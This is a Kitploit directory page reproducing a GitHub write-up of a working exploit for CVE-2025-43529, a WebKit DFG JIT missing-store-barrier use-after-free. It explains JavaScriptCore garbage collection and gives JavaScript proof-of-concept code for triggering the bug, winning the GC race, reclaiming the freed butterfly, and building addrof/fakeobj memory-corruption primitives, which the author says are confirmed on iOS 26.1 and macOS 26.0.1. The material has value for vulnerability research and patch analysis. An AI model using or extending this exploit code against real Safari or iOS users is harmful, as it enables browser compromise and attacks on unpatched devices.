Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jir4vv1t/cve-2025-43529
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb SecurityBinary Exploitation
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Technical exploit for CVE-2025-43529, a WebKit DFG JIT compiler vulnerability enabling use-after-free via missing store barrier in concurrent GC, with full exploitation primitives for iOS and macOS.

View Repository
851158 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-43529

TL; DR

Apple recently shipped iOS 26.2 and iPadOS 26.2, along with a security advisory that includes fixes for WebKit vulnerabilities. One bug in the DFG JIT compiler (CVE-2025-43529) stood out, so I decided to dig into it.

The JIT compiler correctly recognized that a Phi node (where multiple control-flow paths merge) had escaped, but it failed to notice that the Phi's Upsilon nodes had also escaped. Because of that, the DFG compilation StoreBarrierInsertionPhase skipped inserting a Store Barrier, which is a key memory-safety mechanism. As a result, the concurrent GC can miss objects it should have scanned, which can lead to a use-after-free.

You can find the patch commit here.

I have confirmed my exploit works on iOS 26.1, iPadOS 26.1 and macOS Tahoe 26.0.1.

Background

Generational GC

JSC uses a generational GC model to manage the heap efficiently. In this model, memory is split into Eden (new space) and old space based on object age. All newly allocated objects start in Eden. When Eden fills up, an Eden GC is triggered and any surviving objects are promoted to old space. Cleaning up old space objects requires a full GC.

To make generational GC work, the GC needs to classify objects as "already scanned", "needs scanning" or "needs rescanning". In JSC, this is tracked using an object's cellState. (All GC managed objects inherit from JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState is 1 byte and can be one of three colors: Black (0), White (1), and Grey (2).

White means an object that has just been allocated in eden. In the current GC cycle, it hasn't been marked yet. If it stays in this state until the end of the GC cycle, the object will be collected.

Black means the GC has already finished marking the object or is in the process of marking it. It's basically treated as alive, although the isMarked bit might still be off.

Grey means an object that still needs to be scanned. More precisely, it was originally Black, but it got caught by the write barrier and added to the remembered set. In other words, its references changed, so the GC needs to scan it again.

Concurrent GC

JSC has also Concurrent GC, which lets the application run while memory is being reclaimed. If the GC is marking an object in the background and the application changes that object's state at the same time, you can end up with a race condition.

To prevent this, you need ordering guarantees. Like "write (store) A, then read (load) B" happening in that exact order. But on ARM64, for performance reasons, the CPU can reorder memory operations. That means the GC could read the wrong value.

So JSC uses a dependency class to rely on the CPU's data dependencies or it uses special ARM64 instructions like STLR and LDAR to enforce ordering. STLR ensures earlier reads/writes become visible before the store (a release store). LDAR ensures later reads/writes can't move ahead of the load (an acquire load). When another thread reads an object, LDAR is paired with STLR so it can safely observe the most recent data.

DMB isn't a single special instruction for one access. It's a barrier that forces ordering across all memory accesses around it. It ensures memory operations before the DMB become visible before operations after it.

JSC JIT

JSC has three JIT tiers in total. To balance execution speed against compilation cost (memory/time), it applies optimizations and moves code to the next tier based on how frequently it runs.

  • Tier 1: Baseline JIT
  • Tier 2: DFG JIT
  • Tier 3: FTL JIT

Baseline JIT is is the first JIT compiler. It focuses on getting to native code fast with a low compile overhead. DFG JIT is the next stage after Baseline JIT, where serious optimization starts.

At the DFG tier, JavaScript instructions are converted into a graph made up of DFG IR nodes. Using the type information it gathers, the compiler performs speculation to remove unnecessary operations. In JSC's DFG optimization pipeline, the StoreBarrierInsertionPhase inserts a StoreBarrier after nodes that write to memory, like PutByOffset. CVE-2025-43529 is a vulnerability caused by failing to insert a StoreBarrier when it should have been inserted during StoreBarrierInsertionPhase.

A StoreBarrier is a node that acts like a write barrier. It's used to preserve correctness in races with the marking thread.

Trigger Bug

The vulnerable DFG node scenario described in the patch commit looks like this:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

In BB#1, two new objects are created, and execution branches to either BB#2 or BB#3. BB#2 then falls through into BB#3. The interesting part in BB#3 is the Phi node. It means f is either c or e, and that choice is determined by the upstream Upsilon nodes. In BB#3, PutByOffset means adding a value to an object's property.

Simplified PoC

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

If you use the --dumpFTLDisassembly=true option, you can inspect the assembly after FTL compilation.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

Because of the bug, the StoreBarrier for b was not emitted.

The object A lives in old space. In the first PutByOffset (A.p0 = f), the old object A ends up pointing to the new object f. That means the marking thread can reach f through A at any point after that store. So if you later mutate f's properties, a StoreBarrier must be inserted.

f (the Phi node) is treated as escaping, but the actual inputs that can flow into f (via Upsilon: b and d) are not marked as escaping. Logically, if f is stored into A, then any object that could become f including b is effectively stored into A as well. But due to the bug, the compiler doesn't realize that, so it still thinks b is a non-escaping "safe" value that GC won't need to scan, and it ends up skipping the StoreBarrier.

Race condition

To trigger the use-after-free, you have to succeed a race between the main thread and the marking thread. The scenario is as follows:

  1. Concurrent marking (marking thread): The marking thread reaches b by walking from the old space object A, and marks both A and b as black.

  2. Reference update (main thread): The main thread executes b.p0 = a. At this point, a is an Eden object that hasn't been marked yet, so it's still White. This creates a Black object pointing to a White object.

  3. Missing store barrier: Normally, b should be added to the remembered set. But because the store barrier is skipped due to the bug, the GC never learns that b now points to a. The GC cycle continues and if nothing else references a, it stays White the whole time and ends up getting freed.

  4. End of the GC cycle: After that, reading b.p0 can touch freed memory, which can lead to a use-after-free.

Race window

The hardest part of leveraging a race condition is hitting the race window. Objects A and b need to be marked within the same GC cycle. To line up the timing between the main thread and the marking thread, I used three techniques.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

First, to secure the timing window until the scan for A begins, you need to make GC visit some children, I made arr large and placed A at the last index. One thing to watch out for here is that A needs to live in old space.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Second, scanning A in old space requires triggering a full GC. For that, you need to allocate enough large objects in sufficient quantity. To make the trigger of GC rather consistent, I kept the reference of the allocated objects, so they don't get optimized away as "unused", I stored them in A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

Third, once a full GC is triggered, if you manage to delay marking A by using a sufficiently large array, the main thread still needs A's marking to finish right before it adds a reference to a into b. To force that timing, I added a large loop. And to keep the loop from being optimized out, I stored the final value in b.p0.

Exploitation

Reclaim the butterfly

After a GC cycle finishes, you can observe that when a MarkedBlock that contains freed objects gets used again, objects in that block that were not marked get swept. In JSC, the sweep mechanism makes all or part of a MarkedBlock available for the further allocation. The freed object's address only becomes reusable by the allocator after this happens.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

After the race, the loop repeatedly allocates arrays of length 5 to encourage reclaiming the swept butterfly. If the butterfly gets reallocated, you can detect it by reading the indexed properties of an object that shares the same butterfly address.

Internally, creating arr calls JSC::constructArrayBuffer, which triggers MarkedBlock::Handle::specializedSweep. This is where the FreeList for the block containing the butterfly is initially built.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

With the PoC, if sweep runs on the block that contains the butterfly after the race, emptyMode, marksMode, and newlyAllocatedMode become IsEmpty, MarksStale, and DoesNotHaveNewlyAllocated, respectively, so execution enters the if statement above.

With a normal sweep you'd need to build the free list in fragments, but here the entire block is empty, so the free list is initialized as one large interval covering the whole block. The freeList structure is very simple. It basically just tracks the start and end of the chunk and its size.

At this point, the freeList contains a whole block that includes the butterfly pointer.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Allocations from a freeList are handled by FreeList::allocateWithCellSize. If m_intervalStart and m_intervalEnd are not equal, the allocator treats the interval as having free cells available, returns the current start pointer as the address for the new object, and then advances the start pointer by cellSize.

This function is called from JSC::constructArray, and it gets hit repeatedly inside the loop. Eventually, a newly allocated array ends up using the freed butterfly address for its butterfly.

Sweeping the Garbage

There are several reasons an exploit can fail, but one easy improvement is to get rid of the butterfly pointer that's left on the stack.

During butterfly allocation, the allocated pointer gets written to the stack repeatedly. If that pointer is still left behind even after calling the function that triggers the use-after-free, conservative stack scanning by the GC can pick it up and mark it, which prevents it from being freed and ends up "protecting" it like normal.

In the PoC, this was addressed by calling a function that creates a large number of stack frames.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

By calling the recursive function, the main thread fills its stack space with function frames, overwriting all leftover butterfly addresses with other values. After that, the butterfly pointer is less likely to be found during stack scanning, which increases the chances that the GC won't scan that butterfly.

Build the primitives

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

With the use-after-free, you can have the same butterfly in the freed object a as well as the newly allocated array. Then by making the two objects use different IndexingTypes, you can access the values in this single butterfly in both Double and Contiguous. That leads directly to the classic addrof and fakeobj primitives.

Next steps

If you've managed to build the addrof/fakeobj primitives, you can build read/write primitives easily. But in order to gain code execution, you still need to bypass pointer authentication. This part is left as the challenge.

References

  • Understanding Garbage Collection in JavaScriptCore From Scratch
  • About the security content of iOS 26.2 and iPadOS 26.2
Download Tool